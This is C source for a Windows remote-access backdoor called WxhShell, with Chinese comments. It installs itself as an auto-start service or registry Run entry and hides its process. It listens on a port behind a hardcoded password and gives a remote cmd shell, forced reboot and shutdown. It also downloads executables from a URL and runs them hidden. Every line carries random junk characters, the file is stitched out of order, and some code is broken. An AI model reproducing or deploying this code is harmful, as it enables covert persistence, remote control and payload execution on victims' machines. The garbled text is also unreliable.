  // 关机 Jp-6]uW  
  case 'd': { dyVfDF  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); ?b xa k  
    if(Boot(SHUTDOWN)) >;+q,U}  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); ][B>`gC-  
    else { s_cur-  
    closesocket(wsh); KEo?Cy?%ff  
    ExitThread(0); <uvA([r=Vq  
    } mOntc6&]  
    break; Lrq e:\  
    } RKb (  
  // 获取shell |vgYi  
  case 's': { Zb$P`~(%  
    CmdShell(wsh); `!y/$7p  
    closesocket(wsh); 4q*mEV  
    ExitThread(0); {QVs[ J1  
    break;  >f*Zf(F  
  } .svlJSx  
  // 退出 G3j'A{  
  case 'x': { VvTi>2(.  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); ='Yg^:n  
    CloseIt(wsh); |'](zEwq  
    break; MS;^@>|wj  
    } F?XiP.`DR  
  // 离开 q z8Jvgu?  
  case 'q': { W~Q;R:y  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); oa6&?4K?F  
    closesocket(wsh);  _:HQ4s@  
    WSACleanup(); 6xoCB/]  
    exit(1); 'Xu3]'m*  
    break; 0gH;y+\=*  
        } 0ni/!}YP_  
  } p{[(4}ql  
  } tgC)vZ&a  
9{8xMM-  
  // 提示信息 liPaT  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); +^ `n- m  
} JzmX~|=Xi  
  } <\oD4EE_  
m-lTXA(  
  return; i=jY l  
} 2#R8}\  
_*CbtQb5  
// shell模块句柄 3u[5T|D'  
int CmdShell(SOCKET sock) 6&_K;  
{ rY295Q  
STARTUPINFO si; \nU_UH  
ZeroMemory(&si,sizeof(si)); a LJ d1Q  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; lH/7m;M  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; |jb,sd[=S  
PROCESS_INFORMATION ProcessInfo; ,M=s3D8C  
char cmdline[]="cmd"; ^wz 2e  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); 2k!4oVUN  
  return 0; Sh\Jm*5  
} ,&G !9}EC  
Lm*PHG  
// 自身启动模式 \e~5Dx1  
int StartFromService(void) WkDXWv\{,{  
{ W^)'rH  
typedef struct 6@FGt3y  
{ I-m Bj8^;  
  DWORD ExitStatus; _2w8S\  
  DWORD PebBaseAddress; 3f(tb%pa5  
  DWORD AffinityMask; N)4R.}  
  DWORD BasePriority; l<:\w.Gl  
  ULONG UniqueProcessId; m(Iy W734I  
  ULONG InheritedFromUniqueProcessId; xc,Wm/[  
}   PROCESS_BASIC_INFORMATION; J$i.^|hE/  
GezMqt;2  
PROCNTQSIP NtQueryInformationProcess; ^/~C\ (  
;),vUu,k  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; GQDW}b8  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; A+hA'0isF@  
aUq 2$lw1  
  HANDLE             hProcess; JC iB;!y  
  PROCESS_BASIC_INFORMATION pbi; fndbGbl8p  
MzE1he1  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); t]E@AJO K  
  if(NULL == hInst ) return 0; 009Q#[A  
3EH7H W  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); RO[6PlrRN  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); A=r8_.@2@  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); lr]C'dD  
#wp~lW9!s9  
  if (!NtQueryInformationProcess) return 0; 4@QR2K|  
<[?ZpG  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); f([d/  
  if(!hProcess) return 0; vF)eo"_s*  
-|I_aOC@  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; h_6c9VI  
\|CuTb;0  
  CloseHandle(hProcess); h)Ol1[y`  
zBc |gx  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); !o\e/HGc!  
if(hProcess==NULL) return 0; !,R=6b$E5  
3 J5lz~6  
HMODULE hMod; 1} ~`g ED  
char procName[255]; m]Mm (7v(  
unsigned long cbNeeded; "-S@R=bi  
>65\  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); p3 V?n[/}  
1 0^FfwRfM  
  CloseHandle(hProcess); qWD(rq+9  
O]KQ]zN  
if(strstr(procName,"services")) return 1; // 以服务启动 Z=oGyA  
W&v|-#7=6  
  return 0; // 注册表启动 j<)`|?@e(  
} c$x >6&&L  
pA6A*~QE  
// 主模块 g]E3+:5dk  
int StartWxhshell(LPSTR lpCmdLine) =yWdtBng  
{ /!fJ`pu!  
  SOCKET wsl; ]K QQdr   
BOOL val=TRUE; u:H:N]  
  int port=0;  3Hi8=*  
  struct sockaddr_in door; }ld^zyL  
`pF7B6[B  
  if(wscfg.ws_autoins) Install(); R?M>uaxn  
A9MTAm{  
port=atoi(lpCmdLine); ,c&gw tdl  
^I) +u>fJ  
if(port<=0) port=wscfg.ws_port; z\$(@:{A  
)y{:Uc\4!  
  WSADATA data; a'A<'(yv  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; qg:EN~E#  
wo;OkJKF  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   +.Xi7x+#O  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); d.HcO^  
  door.sin_family = AF_INET; v-wZHkdd1  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); GJ F &id  
  door.sin_port = htons(port); MjWxfW/  
J|vg<[  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { kK/XYC 0D  
closesocket(wsl); qae|?z  
return 1; MBAj.J  
} dsH*9t:z  
TFAR>8Nm  
  if(listen(wsl,2) == INVALID_SOCKET) { VfozqUf  
closesocket(wsl); '8[; m_S  
return 1; Tgh?=]H  
} -hc8IS  
  Wxhshell(wsl); v0?SN>fZ  
  WSACleanup(); vmh>|N4a7  
3gnO)"$  
return 0; RC?vU  
nLx|$=W  
} {h PB%  
UZ#oaD8H6  
// 以NT服务方式启动 Vf<q-3q  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) ;e< TEs  
{ %NM={X|'  
DWORD   status = 0; ci/qm\JI<<  
  DWORD   specificError = 0xfffffff; z:Z-2WV2o  
SlwQ_F"4L  
  serviceStatus.dwServiceType     = SERVICE_WIN32; JW )f'r_f  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; /nn~&OU  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; pRd'\+  
  serviceStatus.dwWin32ExitCode     = 0; vPc*x5w-  
  serviceStatus.dwServiceSpecificExitCode = 0; $HtGB]  
  serviceStatus.dwCheckPoint       = 0; 9Q!Z9n"8~)  
  serviceStatus.dwWaitHint       = 0; tzv4uD]  
_GrifGU\  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); :wG )  
  if (hServiceStatusHandle==0) return; kdp^{zW}  
#Ge_3^'  
status = GetLastError(); i,S1|R  
  if (status!=NO_ERROR) xaVn.&Wl  
{ r?!:%L  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; BC\W`K  
    serviceStatus.dwCheckPoint       = 0; H:XPl$;  
    serviceStatus.dwWaitHint       = 0; [YZgQ  
    serviceStatus.dwWin32ExitCode     = status; !0vLSF=  
    serviceStatus.dwServiceSpecificExitCode = specificError; b`@C#qB  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); &FuL {YL  
    return; b%vIaP|]B  
  } Sc/$ 2gSG  
-e_o p'`  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; Js vdC]+  
  serviceStatus.dwCheckPoint       = 0; `( w"{8laB  
  serviceStatus.dwWaitHint       = 0; _ Yc"{d3S  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); 3z u6#3^  
} *ra>Kl0   
vbd)L$$20+  
// 处理NT服务事件,比如:启动、停止 +I3O/=)  
VOID WINAPI NTServiceHandler(DWORD fdwControl) maN2(1hz  
{ szb@2fK  
switch(fdwControl) U|VL+9#hd  
{ JgA{1@h  
case SERVICE_CONTROL_STOP: R PoBF~>  
  serviceStatus.dwWin32ExitCode = 0; j>B*8*Ss  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; 0{vH.b @  
  serviceStatus.dwCheckPoint   = 0; AI Kz]J0;  
  serviceStatus.dwWaitHint     = 0; |xg_z&dX  
  { Pq8oK'z -  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); &0tW{-Hv"  
  } nj1o!+9>$  
  return; YB<nz<;JR  
case SERVICE_CONTROL_PAUSE: m C`*#[  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; MtaGv#mJ  
  break; ^m&I^ \  
case SERVICE_CONTROL_CONTINUE: :8hI3]9  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; Rb.vyQ  
  break; 6>oc,=MV/  
case SERVICE_CONTROL_INTERROGATE: MIn_?r  
  break; vSC1n8 /  
}; \"))P1  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); `GdH ,:S>  
} {Dk!<w I)  
d;]m wLB0  
// 标准应用程序主函数 E #B$.K  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) J-<_e??  
{ 4(LLRzzW  
h`dQ OH#  
// 获取操作系统版本 Bv!{V)$  
OsIsNt=GetOsVer(); Wbei{3~$Y"  
GetModuleFileName(NULL,ExeFile,MAX_PATH); 8'jt59/f  
ENIg_s4  
  // 从命令行安装 q4&! mDU  
  if(strpbrk(lpCmdLine,"iI")) Install(); A[ncwJ  
jC4>%!{m  
  // 下载执行文件 lwrh4<~\,*  
if(wscfg.ws_downexe) { r)>3YM5  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) B^r?N-Z A  
  WinExec(wscfg.ws_filenam,SW_HIDE); ;?tH8jf>  
} K) fKL   
@j_o CDS  
if(!OsIsNt) { h7^&:  
// 如果时win9x,隐藏进程并且设置为注册表启动 U|V,&RlbR  
HideProc(); l`ZL^uT  
StartWxhshell(lpCmdLine); .P aDR |!  
} mL2J  
else :PW"7|c!  
  if(StartFromService()) $!MP0f\q g  
  // 以服务方式启动 vI0,6fOd6  
  StartServiceCtrlDispatcher(DispatchTable); 6?~9{0  
else _,)_(R ,h  
  // 普通方式启动 E+qLj|IU  
  StartWxhshell(lpCmdLine); lZL+j6Q  
1W{oj  
return 0; J8p;1-C"  
} n]`]gLF\i  
#Iv KI+"  
GdI,&| /  
ye9GBAj /  
=========================================== 2[ofz}k]r)  
gBv!E9~l  
[,,@>nyD  
$"W[e"Q  
{$hWz(  
nPdkvs   
" i.uyfV&F  
-d A9x~o  
#include <stdio.h> O>qlWPht  
#include <string.h> 41<h|WA  
#include <windows.h> z$R&u=J  
#include <winsock2.h> Nh}-6|M  
#include <winsvc.h> ))f@9m  
#include <urlmon.h> B qX"La,  
I3Z?xsa@Z  
#pragma comment (lib, "Ws2_32.lib") 5z,q~CU  
#pragma comment (lib, "urlmon.lib") or3OLBf*Q  
'`2'<^yO  
#define MAX_USER   100 // 最大客户端连接数  x _>1x#  
#define BUF_SOCK   200 // sock buffer U&1O  
#define KEY_BUFF   255 // 输入 buffer :ig=zETM  
# o/;du  
#define REBOOT     0   // 重启 .1RQ}Ro,<  
#define SHUTDOWN   1   // 关机 hdx_Tduue  
9 d a=q  
#define DEF_PORT   5000 // 监听端口 (WC =om  
[mu8V+8@d4  
#define REG_LEN     16   // 注册表键长度 #$xtUCqX  
#define SVC_LEN     80   // NT服务名长度 slPr^)  
Gg9s.]W  
// 从dll定义API P|@[D=y  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); }6\,kFc  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); ?V8Fgd  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); XXum2eA  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); 4"kc(J`c  
t2)uJN`a$X  
// wxhshell配置信息 2=fM\G  
struct WSCFG { QOktIH  
  int ws_port;         // 监听端口 9)v]jk  
  char ws_passstr[REG_LEN]; // 口令 Es7 c2YdU  
  int ws_autoins;       // 安装标记, 1=yes 0=no !~9ASpqvPy  
  char ws_regname[REG_LEN]; // 注册表键名 O=7S=Rm4&  
  char ws_svcname[REG_LEN]; // 服务名 3WF]%P%  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 =Pw{1m|k  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 e8("G[P >  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 Z,2?TT|p  
int ws_downexe;       // 下载执行标记, 1=yes 0=no \#]%S/_ A  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" Mb2a;s  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 z@3gNY&7.8  
-d'F KOD  
}; M?sax+'  
:?zq!  
// default Wxhshell configuration G{fPQ=  
struct WSCFG wscfg={DEF_PORT, ]vz6DJs  
    "xuhuanlingzhe", 8%m\J:e R  
    1, H"? 5]!p  
    "Wxhshell", #;a+)~3*O  
    "Wxhshell", hzr, %r  
            "WxhShell Service", _]o7iqtv  
    "Wrsky Windows CmdShell Service", Db|JR  
    "Please Input Your Password: ", ?wG  
  1, i /[{xRXiR  
  "http://www.wrsky.com/wxhshell.exe", Yv]vl6<  
  "Wxhshell.exe" !9 kNL  
    }; 2WH(c$6PWf  
6AJ`)8HX  
// 消息定义模块 f\cTd/?Ju  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; I2CI9,0  
char *msg_ws_prompt="\n\r? for help\n\r#>"; jy.L/s  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; "r@#3T$  
char *msg_ws_ext="\n\rExit."; 5}hQIO&^%  
char *msg_ws_end="\n\rQuit."; A+M4=  
char *msg_ws_boot="\n\rReboot..."; /} PdO  
char *msg_ws_poff="\n\rShutdown..."; m}?jU  
char *msg_ws_down="\n\rSave to "; #Y7iJPO  
];Noe9o  
char *msg_ws_err="\n\rErr!"; faRQj:R8  
char *msg_ws_ok="\n\rOK!"; & n@hD7=(  
.jqil0#)Y"  
char ExeFile[MAX_PATH]; ]I,&Bme  
int nUser = 0; :j3'+% '2  
HANDLE handles[MAX_USER]; ;W5.g8  
int OsIsNt; =@4 ,szLO  
_@XueNU1hS  
SERVICE_STATUS       serviceStatus; )?SFIQ=  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; q!0HsF  
;hq_}.  
// 函数声明 ? 3fnt"  
int Install(void); Zj]tiN f\"  
int Uninstall(void); 2*w`l|Sx  
int DownloadFile(char *sURL, SOCKET wsh); [rcM32  
int Boot(int flag); :!Q(v(M  
void HideProc(void); JJ)  
int GetOsVer(void); VO:  
int Wxhshell(SOCKET wsl); jG `PyIgw  
void TalkWithClient(void *cs); dLH@,EKl)  
int CmdShell(SOCKET sock); GPh;r7xg6  
int StartFromService(void); ]SA/KV   
int StartWxhshell(LPSTR lpCmdLine); +0[H`5-^  
9'H:pb2  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); XkqsL0\  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); "6%{#TZ  
wS|k3^OV%  
// 数据结构和表定义 ',[AKXJ  
SERVICE_TABLE_ENTRY DispatchTable[] = h& 4#5{=  
{ ZK t{3P  
{wscfg.ws_svcname, NTServiceMain}, B]yO  
{NULL, NULL}  -V2`[k  
}; .{t5_,P  
jNX6Ct?  
// 自我安装 W7|nc,i0\  
int Install(void) WNjG/U  
{ bvB7d` wx  
  char svExeFile[MAX_PATH]; C~>0K,C0^  
  HKEY key; q/*veL  
  strcpy(svExeFile,ExeFile); 3:WHC3}W  
<bW~!lv  
// 如果是win9x系统,修改注册表设为自启动 aO inD  
if(!OsIsNt) { r\fkx>  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { $ZyOBxI  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); ]Gm4gd`  
  RegCloseKey(key); <^> nR3E  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { ~u0<c:C^  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); Ew.6y=Ba  
  RegCloseKey(key); )Az0.}  
  return 0; w$&;s<0  
    } .u&X:jOE  
  } =[aiW|Y  
} A?n5;mvq#  
else { bydI+pVMo  
Q1kM 4Up  
// 如果是NT以上系统,安装为系统服务 Qo3Enwap=  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); GE] QRKf  
if (schSCManager!=0) N\]-/$z  
{ 3dZj<(.  
  SC_HANDLE schService = CreateService p<D@l2vt  
  ( %=K[C  
  schSCManager, "+O/OKfR0  
  wscfg.ws_svcname, !} x-o`a5  
  wscfg.ws_svcdisp, mBye)q$  
  SERVICE_ALL_ACCESS, //r)dN^  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , s."N7F  
  SERVICE_AUTO_START, b~<V}tJ  
  SERVICE_ERROR_NORMAL, zI ^:{]p  
  svExeFile, UT{`'#iT  
  NULL, w `d9" n  
  NULL, H0B=X l[  
  NULL, { **W7\h  
  NULL, *@@dO_%6  
  NULL "-:g.x*d  
  ); j)ln"u0R^B  
  if (schService!=0) y~OP9Tg  
  { mIrN~)C4\  
  CloseServiceHandle(schService); FnOa hLS  
  CloseServiceHandle(schSCManager); >U\P^yU  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); ]T5\LNyN  
  strcat(svExeFile,wscfg.ws_svcname); 4k{xo~+%,  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { \TzBu?,v8  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); #:Q\   
  RegCloseKey(key); QS4~":D/C  
  return 0; S~m8j |3K  
    } nRX'J5Q m<  
  } (u@X5O(a  
  CloseServiceHandle(schSCManager); NyC&j`d  
} TntTR"6aD  
} ZjY?T)WE9  
!w/fw Oo  
return 1; VS`{k^^  
} OqH3. @eK  
58mpW`Q  
// 自我卸载 Z"Q9^;0%  
int Uninstall(void) D\J.6W  
{ x<w-j[{k_K  
  HKEY key; 6e.l# c!1}  
NTK9`#SA  
if(!OsIsNt) { =%I;Y& K  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { -#4QY70H t  
  RegDeleteValue(key,wscfg.ws_regname); 3 Sf':N`u  
  RegCloseKey(key); ;U a48pSv  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { ?Ec{%N%  
  RegDeleteValue(key,wscfg.ws_regname); GKUjtPu  
  RegCloseKey(key); k MV1$  
  return 0; OM7AK B=S  
  } fV6ddh  
} )Xt#coagS  
} N3KI6p6\  
else { hhU\$'0B-  
5}5oj37x  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); 64"DT3:  
if (schSCManager!=0) }=gD,]2x8  
{ spQr1hx<  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); ^)`e}}  
  if (schService!=0) 2"}Vfy  
  { !lZ}kz0  
  if(DeleteService(schService)!=0) { IY!8j$'|  
  CloseServiceHandle(schService); 5D7k[+6  
  CloseServiceHandle(schSCManager); :1"k`AG  
  return 0; e:N;Jx#  
  } |RXXj[z  
  CloseServiceHandle(schService); o1{3[=G  
  } 2zv:j7  
  CloseServiceHandle(schSCManager); |h/{ qpsu  
} K0I.3| 6C  
} >s.y1Vg~C  
CZy3]O"qW  
return 1; g{>0Pa 1?C  
} .Tw:Y,G  
V`c,U7[/  
// 从指定url下载文件 Ut/%+r"s  
int DownloadFile(char *sURL, SOCKET wsh) r1=j$G  
{ b8%TwYp  
  HRESULT hr; {od@S l  
char seps[]= "/"; QWt3KW8)  
char *token; R S>qP;V*-  
char *file; jWvi% I qi  
char myURL[MAX_PATH]; xd"+ &YT  
char myFILE[MAX_PATH]; u2fp~.'P  
?V~vP%1  
strcpy(myURL,sURL); +RiI5.$=Z  
  token=strtok(myURL,seps); $i!r> .Jo  
  while(token!=NULL) sS4V(:3s  
  { t -}IKrbv  
    file=token; z7P~SM  
  token=strtok(NULL,seps); Qk|+Gj  
  } J5<1 6}*  
KCp9P2kv.  
GetCurrentDirectory(MAX_PATH,myFILE); x",ktE>9  
strcat(myFILE, "\\"); +T,A^(&t  
strcat(myFILE, file); b53s@7/mq  
  send(wsh,myFILE,strlen(myFILE),0); :}#j-ZCC"  
send(wsh,"...",3,0); xDS]k]/(T  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); Z@*!0~NH=4  
  if(hr==S_OK) *<"{(sAvk  
return 0; *p\fb7Pu_3  
else !4Sd^"  
return 1; 23'{{@30  
FKhgUnw  
} @FF{lK?[  
ofI,[z3  
// 系统电源模块 sint":1FC  
int Boot(int flag) 'w<^4/L Q  
{ ^LXsU] R  
  HANDLE hToken; 3Tw9Uc\vT  
  TOKEN_PRIVILEGES tkp; 'V <ZmJ2  
Be^"sC  
  if(OsIsNt) { B*tQ0`  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); n\BV*AH  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); */@I$*  
    tkp.PrivilegeCount = 1; :hWG:`  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; +^AAik<yl  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); ;nAx@_ab^  
if(flag==REBOOT) {  <pD  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) ?s)6 YF  
  return 0; V|awbff:  
} Tks1gN^^  
else { nKEw$~F  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) d@b2XCh<K  
  return 0; eE;j#2SEO  
} ' eWG v  
  } jJ'NYG  
  else { "&;X/~j  
if(flag==REBOOT) { `fG<iBD  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) :2wT)wz  
  return 0; *1:kIi7_  
} 8|L5nQ  
else { & \"cV0  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) KilN`?EJ  
  return 0; M[-/&;`f@  
} Zz 'g&ewo  
} yB{1&S5 C  
PTXS8e4  
return 1; TXs&*\  
} p`52  
Z^WI~B0nt  
// win9x进程隐藏模块 NH=@[t) P,  
void HideProc(void) YZ<5-C  
{ k!WeE#"(  
2$o\`^dy  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); f3.oc9G  
  if ( hKernel != NULL ) 2<'ol65/c  
  { WV p6/HS  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); ]zIIi%  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); \SYeDy  
    FreeLibrary(hKernel); &#.>-D{  
  } 2Ib 1D  
sP=^5K`g  
return; ]j$(so"  
} mGF)Ot R  
h^14/L=|  
// 获取操作系统版本 K&"X7fQ  
int GetOsVer(void) I58$N+#  
{ 7pnlS*E.  
  OSVERSIONINFO winfo; @2_ E9{T  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); L(1} PZ  
  GetVersionEx(&winfo); K]dR%j  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) :TV`uUE  
  return 1; LA/Qm/T  
  else $_\x}`c~.  
  return 0; \E05qk_;K  
} ]<Q&  
fy&u[Jd{  
// 客户端句柄模块 #nZPnc:  
int Wxhshell(SOCKET wsl) P9q=tC3^  
{   
  SOCKET wsh; $ma@z0%8}  
  struct sockaddr_in client; /paZJ}Pr.  
  DWORD myID; +4[9Eb'k=  
zq3f@xOK  
  while(nUser<MAX_USER) "Rtt~["%  
{ Ufor>  
  int nSize=sizeof(client); P1Iy >%3  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); )?6%d  
  if(wsh==INVALID_SOCKET) return 1; ~Ra8(KocD  
:wUi&xw  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); 8 ~Pdr]5  
if(handles[nUser]==0) um( xZ6&m  
  closesocket(wsh); GsiKL4|mj  
else it-2]Nw  
  nUser++; E!L_"GW  
  } J 5xZL v  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); T~g`;Q%i  
-"#jRP]#  
  return 0; _U^G*EqL*  
} 2j ]uB0  
Tv~Ho&LS  
// 关闭 socket Re*~C:  
void CloseIt(SOCKET wsh) g{kjd2  
{ t7,$u-  
closesocket(wsh); Lnq CHe  
nUser--; f<'D?d)L^  
ExitThread(0); $gL^\(_3H  
} [b~+VeP+p4  
]A1'+!1$  
// 客户端请求句柄 F9A5}/\  
void TalkWithClient(void *cs) :" JEC'  
{ QpS7 nGev  
 ?H_>?,^  
  SOCKET wsh=(SOCKET)cs; 7E5 =Qx  
  char pwd[SVC_LEN]; \i<7Lk  
  char cmd[KEY_BUFF]; v(, tu/  
char chr[1]; ([7XtG/?  
int i,j; ]c6h'}  
10N0?K"  
  while (nUser < MAX_USER) { O&VA79\UO  
{Wfwf  
if(wscfg.ws_passstr) { - "{hP  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); OgHqF,0MN  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); ]M~ 7L[  
  //ZeroMemory(pwd,KEY_BUFF); u0qTP]  
      i=0; J]Rh+@r.  
  while(i<SVC_LEN) { lfr^NxOU  
E;q+u[$  
  // 设置超时 >T{TE"XyO|  
  fd_set FdRead; JE<h  
  struct timeval TimeOut; Fw#1?/K~  
  FD_ZERO(&FdRead); DV)NY!  
  FD_SET(wsh,&FdRead); 8~BLTZ  
  TimeOut.tv_sec=8; |A+,M"F?  
  TimeOut.tv_usec=0; J-5kvQi8  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); yDj'')LOQg  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); 5s>>] .%  
B^{~,'  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); HC6v#-( `{  
  pwd=chr[0]; (aq-aum-I  
  if(chr[0]==0xd || chr[0]==0xa) { 4i<GqG  
  pwd=0; #wkSru&LS  
  break; `91Z]zGpU  
  } Cj/!m  
  i++; Mf7 [@#$  
    } b+L!p.:  
j'lC]}kH  
  // 如果是非法用户,关闭 socket  D@]/%;  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); u('`.dwkc  
} {z9z#8`C;  
o'Y/0hkh  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); Fr2F&NN`D  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); [*5hx_4%B  
qt4%=E;[  
while(1) { ,4;'s  
B$S@xD $  
  ZeroMemory(cmd,KEY_BUFF); ~~Rq$'q}  
|Nadk(}  
      // 自动支持客户端 telnet标准   [ /<kPi  
  j=0; <)Y jVGG  
  while(j<KEY_BUFF) { &MB1'~Q,hq  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); 9Sl5jn  
  cmd[j]=chr[0]; xmfZ5nVL  
  if(chr[0]==0xa || chr[0]==0xd) { 0;]VTz?P  
  cmd[j]=0; ZoCk]hk  
  break; +6^hp-G7  
  } 6 B7 F  
  j++; mXyg\5  
    } q%,y66pFr  
!Y/S2J  
  // 下载文件 APCE }%1U  
  if(strstr(cmd,"http://")) { 4ti,R'  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); $if(n||  
  if(DownloadFile(cmd,wsh)) rX)_!mR  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); ]u:Ij|.'y0  
  else kxmsrQ>av  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); tJGK9!MH{(  
